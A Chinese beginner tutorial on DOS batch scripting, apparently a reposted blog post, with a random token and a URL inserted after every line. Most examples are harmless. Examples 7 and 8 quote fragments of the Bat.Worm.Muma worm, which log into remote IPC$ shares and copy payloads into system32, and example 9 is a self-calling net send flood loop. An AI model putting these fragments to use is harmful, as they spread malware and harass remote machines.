更多相关内容...>>bat批处理教程
bat批处理教程
由 ✎﹏๓₯㎕ζั͡❦﹏﹏♛ 创建,Alma 最后一次修改 2015-11-05
28708j http://blog.numino.net/
bat批处理教程
jLXd22 http://blog.numino.net/
这是一篇技术教程,我会用很简单的文字表达清楚自己的意思,只要你识字就能看懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到了眼前。
3RqDht http://blog.numino.net/
先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个“比较合适的”,而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”,那么我的目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的!
BZKeia http://blog.numino.net/
按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。
Ln024x http://blog.numino.net/
OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。
xI1eU2 http://blog.numino.net/
例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似):
yu3e8h http://blog.numino.net/
ping sz.tencent.com > a.txt
b5vQ25 http://blog.numino.net/
ping sz1.tencent.com >> a.txt
ka3VCR http://blog.numino.net/
ping sz2.tencent.com >> a.txt
FDJt4Y http://blog.numino.net/
ping sz3.tencent.com >> a.txt
1aR206 http://blog.numino.net/
ping sz4.tencent.com >> a.txt
8d42UG http://blog.numino.net/
ping sz5.tencent.com >> a.txt
0xnoOP http://blog.numino.net/
ping sz6.tencent.com >> a.txt
8zK666 http://blog.numino.net/
ping sz7.tencent.com >> a.txt
459luX http://blog.numino.net/
exit
6t9KOY http://blog.numino.net/
是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。
85khv5 http://blog.numino.net/
例二、再给出一个已经过时的例子(a.bat):
fi4koW http://blog.numino.net/
@echo off
zxvVlx http://blog.numino.net/
if exist C:\Progra~1\Tencent\AD.gif del C:\Progra~1\Tencent\AD.gif
2BLN9y http://blog.numino.net/
a.bat
x6n19L http://blog.numino.net/
为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。
q3zP9v http://blog.numino.net/
例三,使用批处理脚本查是否中冰河。脚本内容如下:
X0olip http://blog.numino.net/
@echo off
yRZvi8 http://blog.numino.net/
netstat -a -n > a.txt
2ZN425 http://blog.numino.net/
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
5c1YFO http://blog.numino.net/
del a.txt
5UHTZf http://blog.numino.net/
pause & exit
1oiivC http://blog.numino.net/
这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令&&和管道命令|,后面将详细介绍。
lM6WVX http://blog.numino.net/
例四,借批处理自动清除系统垃圾,脚本如下:
B5D4ej http://blog.numino.net/
@echo off
uaNFr8 http://blog.numino.net/
if exist c:\windows\temp. del c:\windows\temp\.
rphk5q http://blog.numino.net/
if exist c:\windows\Tempor~1. del c:\windows\Tempor~1\.
F1kcJc http://blog.numino.net/
if exist c:\windows\History. del c:\windows\History\.
WoSUyT http://blog.numino.net/
if exist c:\windows\recent. del c:\windows\recent\.
VTW4cm http://blog.numino.net/
将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。
mliQ2a http://blog.numino.net/
怎么样,看到这里,你对批处理脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,它也许能带给你快乐和幸福,当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话,I 服了 YOU!继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道),但你可以体会到整个爱的过程,就是如此。 酸、苦和辣,有没有甜天知道。
7Ah72y http://blog.numino.net/
为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写有趣多少,原因有二:其一,批处理和爱情有很多相同的地方,有些地方我用“专业”的行话解释不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚),说了=没说,但用地球人都知道的爱情一比喻(爱情是什么?我怎么知道!!),没准你心里一下就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了,完全可以省略不看(也许还真有点效果----不至于让你看着看着就睡着了,把头磕了来找我报销医药费)。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。
gX0mdb http://blog.numino.net/
看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。这和爱情就有点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界!
gK1c6w http://blog.numino.net/
批处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理,输出的结果不是Bad command or fail name,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。
8CKJcM http://blog.numino.net/
从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的DOS命令,常用命令如COPY、DIR等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。
W97Zt4 http://blog.numino.net/
例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容:
SP1P1p http://blog.numino.net/
@echo off
Gasb0t http://blog.numino.net/
::close echo
Dg72Y6 http://blog.numino.net/
cls
1124cJ http://blog.numino.net/
::clean screen
0IKhyZ http://blog.numino.net/
echo This programme is to make the MASM programme automate
P4z0Sf http://blog.numino.net/
::display info
tq0FN6 http://blog.numino.net/
echo Edit by CODERED
r7KC23 http://blog.numino.net/
::display info
3I9qp6 http://blog.numino.net/
echo Mailto me : qqkiller@sina.com
DhFyb1 http://blog.numino.net/
::display info
221rz3 http://blog.numino.net/
if "%1"=="" goto usage
55TJmc http://blog.numino.net/
::if input without paramater goto usage
GH0O61 http://blog.numino.net/
if "%1"=="/?" goto usage
scr9Be http://blog.numino.net/
::if paramater is "/?" goto usage
0KgJ58 http://blog.numino.net/
if "%1"=="help" goto usage
94CHqy http://blog.numino.net/
::if paramater is "help" goto usage
dx6uI6 http://blog.numino.net/
pause
Tp8s8P http://blog.numino.net/
::pause to see usage
fPQ18S http://blog.numino.net/
masm %1.asm
aCVxZS http://blog.numino.net/
::assemble the .asm code
5lV5ml http://blog.numino.net/
if errorlevel 1 pause & edit %1.asm
mF2Jkd http://blog.numino.net/
::if error pause to see error msg and edit the code
wDlIGR http://blog.numino.net/
link %1.obj & %1
3mF1Ls http://blog.numino.net/
::else link the .obj file and execute the .exe file
07X4K6 http://blog.numino.net/
:usage
tVeI5g http://blog.numino.net/
::set usage
i9k3W7 http://blog.numino.net/
echo Usage: This BAT file name [asm file name]
tUL24l http://blog.numino.net/
echo Default BAT file name is START.BAT
15rBY1 http://blog.numino.net/
::display usage
5X2nGG http://blog.numino.net/
先不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!
st4qK9 http://blog.numino.net/
在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。
8ylpY1 http://blog.numino.net/
1、@
O2rZ54 http://blog.numino.net/
这个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了。
Kcuaw1 http://blog.numino.net/
2、echo
gIbmFf http://blog.numino.net/
中文为“反馈”、“回显”的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。在例五中,首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。的确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!
I140tJ http://blog.numino.net/
echo命令的另一种用法一:可以用它来显示信息!如例五中倒数第二行,Default BAT file name is START.BAT将在脚本执行后的窗口中显示,而echo命令本身不显示(为什么??)。
kCH32m http://blog.numino.net/
echo命令的另一种用法二:可以直接编辑文本文件。例六:
Nwe151 http://blog.numino.net/
echo nbtstat -A 192.168.0.1 > a.bat
RwgAFE http://blog.numino.net/
echo nbtstat -A 192.168.0.2 >> a.bat
s85EwA http://blog.numino.net/
echo nbtstat -A 192.168.0.3 >> a.bat
oScXCO http://blog.numino.net/
以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件,直接执行就会得到结果。
pvLr3X http://blog.numino.net/
3、::
9WLcfb http://blog.numino.net/
这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/…………/类似。地球人都能看懂,就不多说了。
AFl4mv http://blog.numino.net/
4、pause
bOGLr3 http://blog.numino.net/
中文为“暂停”的意思(看看你的workman上),我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。
8x56nI http://blog.numino.net/
5、:和goto
osjxr2 http://blog.numino.net/
为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。
7u35xC http://blog.numino.net/
goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:
17Q6s0 http://blog.numino.net/
……
9ezDq2 http://blog.numino.net/
goto end
8Q59LQ http://blog.numino.net/
……
Fj09t6 http://blog.numino.net/
:end
NZEFDe http://blog.numino.net/
这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。
2u1FM1 http://blog.numino.net/
6、%
8VJa9B http://blog.numino.net/
这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:
lVuShx http://blog.numino.net/
net use \%1\ipc$ %3 /u:"%2"
OJ4gaY http://blog.numino.net/
copy 11.BAT \%1\admin$\system32 /y
ukdTUr http://blog.numino.net/
copy 13.BAT \%1\admin$\system32 /y
0ksU2y http://blog.numino.net/
copy ipc2.BAT \%1\admin$\system32 /y
yMp7Sd http://blog.numino.net/
copy NWZI.EXE \%1\admin$\system32 /y
4GJVe5 http://blog.numino.net/
attrib \%1\admin$\system32\10.bat -r -h -s
MjthXK http://blog.numino.net/
以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。
EVl7G1 http://blog.numino.net/
关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!
0cWq2L http://blog.numino.net/
这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。
x5T9F1 http://blog.numino.net/
烦!就好象一个半老女人到了更年期,什么事都想唠叨几句,什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在崩溃的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁)。我需要发泄,我用手指拼命的敲打着键盘,在一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过“唯女子与小人,难养也”,真有先见之明,佩服!虽然是在发泄,不过大家请放心,以我的脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是我写的!
1OPLyO http://blog.numino.net/
曾经有一篇经典的批处理教程出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,你会对那篇教程说三个字:我爱你!如果非要给这份爱加上一个期限,你希望是100年。因为100年后,你恐怕早已经挂了!而现在,你的屏幕上出现了这篇你正在看的批处理教程,虽然不如你曾经看的那篇经典,但如果勉强还过的去。你会爱它吗?时间会有50年那么长吗?答案是:试试看吧。
e55z8m http://blog.numino.net/
批处理脚本中最重要的几个命令,将在这一章详细介绍,但是很遗憾,有些细节到现在我都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力,即使一直都没有收获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问题了,需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有些事情,比如学批处理,比如爱一个人,都是不能速成的,甚至还会有付出艰辛而收获为甚微的情况。再次重申,看这篇教程的时候,一定要静下心来,除非你已经掌握了这篇教程的所有东西----但那也就不必看了,浪费时间!
SIsgue http://blog.numino.net/
7、if
9854cq http://blog.numino.net/
接上一章,接着讲if命令。总的来说,if命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。
H1Z69w http://blog.numino.net/
(1)、输入判断。还是用例五里面的那几句吧:
1PgDXi http://blog.numino.net/
if "%1"=="" goto usage
9HMViH http://blog.numino.net/
if "%1"=="/?" goto usage
5ooW5S http://blog.numino.net/
if "%1"=="help" goto usage
90FtCF http://blog.numino.net/
这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时(大家一般看一个命令的帮助,是不是输入的/?或help呢,这里这么做只是为了让这个脚本看起来更像一个真正的程序),也跳转到usage。这里还可以用否定形式来表示“不等于”,例如:if not "%1"=="" goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了,呵呵。)是不是很简单?其实翻译成中文体会一下就understand了。
LhzD6U http://blog.numino.net/
(2)、存在判断。再看例二里这句:
fGhhBs http://blog.numino.net/
if exist C:\Progra~1\Tencent\AD.gif del C:\Progra~1\Tencent\AD.gif
h366t1 http://blog.numino.net/
如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意,这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句“如果不存在那些gif文件则退出脚本”:if not exist C:\Progra~1\Tencent\AD.gif exit。只是多一个not来表示否定而已。
7WpES7 http://blog.numino.net/
(3)、结果判断。还是拿例五开刀(没想到自己写的脚本,竟然用处这么大,呵呵):
64ueP5 http://blog.numino.net/
masm %1.asm
4mNk54 http://blog.numino.net/
if errorlevel 1 pause & edit %1.asm
48x6yg http://blog.numino.net/
link %1.obj
rD8zSe http://blog.numino.net/
先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。
8bzxKW http://blog.numino.net/
另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:
vAKZ98 http://blog.numino.net/
masm %1.asm
sv4XD4 http://blog.numino.net/
if not errorlevel 1 link %1.obj
I2eh0v http://blog.numino.net/
pause & edit %1.asm
V83JlV http://blog.numino.net/
看到本质了吧?其实只是把结果判断后所执行的命令互换了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not的情况,返回码为0或1的情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了?后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。
rJ9NHO http://blog.numino.net/
这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示“否则”的操作,是比较麻烦的。以上代码必须变成:
FTcMwp http://blog.numino.net/
masm %1.asm
LkxZSl http://blog.numino.net/
if exist %1.obj link %1.obj
Arnd3P http://blog.numino.net/
else pause & edit %1.asm
IWV5sJ http://blog.numino.net/
关于if命令的这三种用法就say到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。可能有的朋友有点惊讶,我怎么没给出类似下面三行的用法介绍,是因为下面三行是if命令帮助里对它自身用法的解释,任何人只要一个“if /?”就能看到,我没有必要在这里多费口舌;更重要的原因,是我觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。一定要注意的是,这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的,哲学教我们学会透过现象看事物本质!)。有兴趣的朋友可以自己研究一下。
eiD1Bc http://blog.numino.net/
IF [NOT] ERRORLEVEL number do command
HdNjM5 http://blog.numino.net/
IF [NOT] string1==string2 do command
LImRnl http://blog.numino.net/
IF [NOT] EXIST filename do command
HWopN7 http://blog.numino.net/
8、call
uLMfyQ http://blog.numino.net/
学过汇编或C的朋友,肯定都知道call指令表示什么意思了,在这里它的意思其实也是一样的。在批处理脚本中,call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):
RqODcX http://blog.numino.net/
start.bat:
7njSvn http://blog.numino.net/
……
ex32YS http://blog.numino.net/
CALL 10.BAT 0
w38BRR http://blog.numino.net/
……
I1q6SH http://blog.numino.net/
10.bat:
SpURqq http://blog.numino.net/
……
CsbA7C http://blog.numino.net/
ECHO %IPA%.%1 >HFIND.TMP
JbW2mr http://blog.numino.net/
……
OdC3P4 http://blog.numino.net/
CALL ipc.bat IPCFind.txt
CCe4wM http://blog.numino.net/
ipc.bat:
6552o4 http://blog.numino.net/
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
qf9J5v http://blog.numino.net/
有没有看出什么不对的地方?没看出来啊?没看出来就对了,其实就没有不对的地方嘛,你怎么看的出来!从上面两个脚本,你可以得到如下信息:1、脚本调用可以灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,聪明的你一看就应该会,这里说一下第二点。
egdAqS http://blog.numino.net/
在start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%%i、%%j和%%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。By the way,上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。
aDcZK7 http://blog.numino.net/
那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!!只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat):
VPYdtG http://blog.numino.net/
net send %1 This is a call example.
Yw7rU6 http://blog.numino.net/
call a.bat
vzu5NL http://blog.numino.net/
这两句一结合,效果自然不怎么样,因为只有一台机器来发消息,谁怕谁啊?我给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。
34NA1L http://blog.numino.net/
给出一个很有意思的脚本,有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat):
uJ5bR0 http://blog.numino.net/
call a.bat
cOu77R http://blog.numino.net/
一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到的。只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了love is aborted的提示。
3cK2Mc http://blog.numino.net/
9、find
5oYZFs http://blog.numino.net/
这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序(我怎么突然想起了这四个字?)。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:
qTv9V8 http://blog.numino.net/
@echo off
7NZ75i http://blog.numino.net/
netstat -a -n > a.txt
TdNkYi http://blog.numino.net/
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
xW88jv http://blog.numino.net/
del a.txt
gYg91z http://blog.numino.net/
pause & exit
mtQ6nC http://blog.numino.net/
先用netstat命令检查是否有冰河默认的端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串“7626” ,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎指正)。因为在find命令的帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的“另一个命令”自然就指的type命令了。
GqPtoT http://blog.numino.net/
至于find命令的其他几个参数如v、n、i等,有兴趣的朋友自己去研究吧,这已经属于DOS学习的内容了,这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝),后续的教程中将介绍,希望关注。
V95FJ1 http://blog.numino.net/
10、for、set、shift
15s0eq http://blog.numino.net/
为什么把这三个命令放到一起来讲?原因除了我说明外,恐怕谁也想不到!很简单的一句话:其实我也不太懂!是的,对于这两个命令,我是从研究Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for)谈何容易!也许你会表扬我说我诚实、不懂就不懂;也许你会骂我,让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样那样好听或不好听的话,都随便你了,即使我不同意你说的话,我也会誓死捍卫你说话的权利。看例十一:
qnaRWT http://blog.numino.net/
@echo off
R12CV5 http://blog.numino.net/
for /? > for.txt
Fu6Hk7 http://blog.numino.net/
set /? > set.txt
ff8k4a http://blog.numino.net/
shift /? >shift.txt
Q3Sqf4 http://blog.numino.net/
exit
x7DLUv http://blog.numino.net/
